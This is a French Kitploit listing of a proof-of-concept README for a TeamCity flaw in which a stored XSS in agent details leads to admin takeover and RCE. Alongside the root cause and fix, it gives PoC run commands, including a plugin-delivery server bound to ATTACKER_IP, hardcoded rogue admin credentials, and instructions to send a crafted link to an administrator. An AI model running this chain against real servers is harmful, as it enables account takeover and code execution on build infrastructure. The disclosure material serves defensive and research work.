Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-59795 — Preuve de concept pour CVE-2026-59795 : XSS stocké non authentifié dans les détails de l'agent TeamCity, enchaîné à la création d'un compte SYSTEM_ADMIN et à une RCE par téléversement de plugin. | Kitploit
Outils/GitHubGitHub/joakimbulow/cve-2026-59795
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebDéveloppement de Charges Utiles
GitHubjoakimbulow/cve-2026-59795

CVE-2026-59795

Preuve de concept pour CVE-2026-59795 : XSS stocké non authentifié dans les détails de l'agent TeamCity, enchaîné à la création d'un compte SYSTEM_ADMIN et à une RCE par téléversement de plugin.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-59795 - XSS stockée non authentifiée dans TeamCity menant à une RCE

XSS stockée non authentifiée dans la page héritée de détails d'agent de TeamCity, permettant une escalade vers une RCE serveur sans redémarrage. Un attaquant enregistre un agent de build (aucun identifiant requis) avec un os.name malveillant, puis amène un administrateur à consulter la page de détails de cet agent. La charge utile s'exécute dans la session authentifiée de l'administrateur et peut créer un compte SYSTEM_ADMIN ou téléverser et charger un plugin malveillant.

Résumé

CVECVE-2026-59795
AffectéTeamCity <= 2026.1.1 (build 222577)
Corrigé dans2026.1.2 (222647), 2025.11.6 (208214)
CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
TypeXSS stockée (CWE-79), chaînable vers une prise de contrôle SYSTEM_ADMIN et une RCE
Authentification requiseAucune pour implanter la charge utile

Déclencheur : un administrateur consulte l'agent malveillant, soit via un lien forgé en un clic &fromSakuraUI=true sur l'interface Sakura par défaut, soit sans aucun hameçonnage en ouvrant l'agent en attente dans le workflow d'autorisation normal lorsque l'administrateur utilise l'interface classique (option « Use Sakura UI » décochée par utilisateur, ou mode classique à l'échelle du serveur).

Cause racine

webapps/ROOT/agent/agentSummary.jsp affiche le nom du système d'exploitation rapporté par l'agent sans échappement :

<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>

Analyse complète avec captures d'écran et contexte : https://joakimbulow.com/posts/cve-2026-59795/ Le nom d'agent voisin quelques lignes au-dessus utilise <c:out>, ce qui confirme que l'omission est accidentelle. operatingSystemName est entièrement contrôlé par l'attaquant : un agent non authentifié le définit lors de l'enregistrement (attribut osName dans POST /app/agents/v1/register), et le serveur le stocke et le renvoie tel quel.

L'interface React Sakura échappe correctement osName et redirige normalement en dehors de la page héritée, mais la redirection est ignorée (et le JSP non échappé est rendu) lorsque :

  • l'administrateur ouvre l'agent avec ?fromSakuraUI=true dans l'URL (le propre indicateur de contournement de la balise de redirection), ou
  • l'administrateur utilise l'interface classique (teamcity.ui.experimental=disableDefault, ou l'option par utilisateur « Use Sakura UI » désactivée), ou
  • l'administrateur a cliqué sur « View in classic UI » pour cet agent, ou
  • la page est chargée dans une iframe.

Impact

Confirmé en conditions réelles :

  • Déclencher alert(document.domain) dans la session de l'administrateur, sans effets secondaires.
  • Créer un nouveau compte SYSTEM_ADMIN dans la session de l'administrateur (sans RCE).
  • Chaîne complète : le XSS téléverse un plugin vers /admin/pluginUpload.html et l'active via /admin/plugins.html (EnableAllPlugins), ce qui charge du code Java de l'attaquant dans la JVM TeamCity en cours d'exécution sans redémarrage. Vérifié au moyen d'un fichier de preuve écrit sur l'hôte du serveur, 4 secondes après le clic de l'administrateur.

Correctif

Échapper la sortie dans agentSummary.jsp :

<strong><c:out value="${agent.operatingSystemName}"/></strong>

(Le champ agent.version de la ligne ci-dessus présente le même problème et nécessite la même correction.)

Prérequis

  • Un serveur TeamCity <= 2026.1.1, configuration par défaut
  • Une distribution d'agent TeamCity, téléchargeable sans authentification depuis la cible : GET /update/buildAgent.zip
  • Python 3 (bibliothèque standard uniquement)
  • javac sur la machine de l'attaquant, nécessaire uniquement pour le PoC RCE
  • Un chemin réseau depuis le navigateur de l'administrateur vers la machine de l'attaquant, nécessaire uniquement pour le PoC RCE (livraison via WebSocket)
curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent

Vous n'avez pas besoin de modifier manuellement conf/buildAgent.properties ; chaque PoC ci-dessous définit serverUrl à partir de son argument --url/--tc-url et réécrit le nom de l'agent à chaque exécution, il est donc sûr de réutiliser le même répertoire evilagent/ décompressé à plusieurs reprises.

PoC (./poc/)

Exécutez-les dans l'ordre, chacun confirmant un impact plus important que le précédent.

1. alert_only.py, confirme le XSS, sans effet secondaire. Déploie un agent dont le champ osName déclenche alert(document.domain). Aucun compte créé, aucun code exécuté.

python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent

2. attacker_deeplink.py, prise de contrôle XSS vers SYSTEM_ADMIN, sans RCE. Même plant, mais la charge utile crée un compte SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) et effectue un polling jusqu'à ce que ce compte puisse se connecter.

python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent

3. rce_ws_server.py, chaîne complète, XSS vers téléversement de plugin vers RCE, terminal unique. Construit un plugin, démarre l'agent malveillant et un serveur WebSocket, et affiche le lien de phishing. Lorsque l'administrateur le consulte : le XSS se déclenche, le serveur WS livre le plugin, celui-ci est téléversé et activé, et TeamCity le charge à l'exécution.

python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
    --tc-url https://teamcity.example.com --agent-dir ./evilagent

Chaque PoC affiche un lien du type :

https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true

Envoyez cela à l'administrateur (Sakura UI, en un clic), ou, si l'administrateur utilise déjà l'interface classique, indiquez-lui simplement agentDetails.html?id=N sans paramètre spécial, par exemple via le flux normal de révision des agents en attente.

Vérification de l'RCE

Quelques secondes après le clic de l'administrateur, sur l'hôte du serveur TeamCity :

cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user:   <tc-process-user>
host:   <hostname>
java:   <java-version>
cwd:    <teamcity-bin-dir>
time:   <timestamp>

Configuration RCE fractionnée (serveur WebSocket sur l'hôte TeamCity lui-même)

Si le navigateur de l'administrateur ne peut pas atteindre directement votre machine d'attaquant, par exemple si vous n'êtes joignable que via un tunnel SSH vers la cible, utilisez rce_prepare.py pour construire le plugin et l'agent sur votre machine, puis transférez poc/ws_serve.py et le ZIP du plugin construit vers l'hôte TeamCity et servez-les depuis celui-ci :

# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
    --ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip

# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337

Transférez le port WebSocket via le même tunnel que celui utilisé pour atteindre TeamCity (-L 1337:localhost:1337) afin que le navigateur de l'administrateur puisse l'atteindre via ws://localhost:1337.

Note de nettoyage : chaque exécution enregistre un agent portant un nom fraîchement généré, donc les exécutions répétées n'entreront pas en collision, mais chacune laisse derrière elle un nouvel agent non autorisé. Supprimez-les sous Agents -> Unauthorized après les tests.

Fichiers

Télécharger l’outil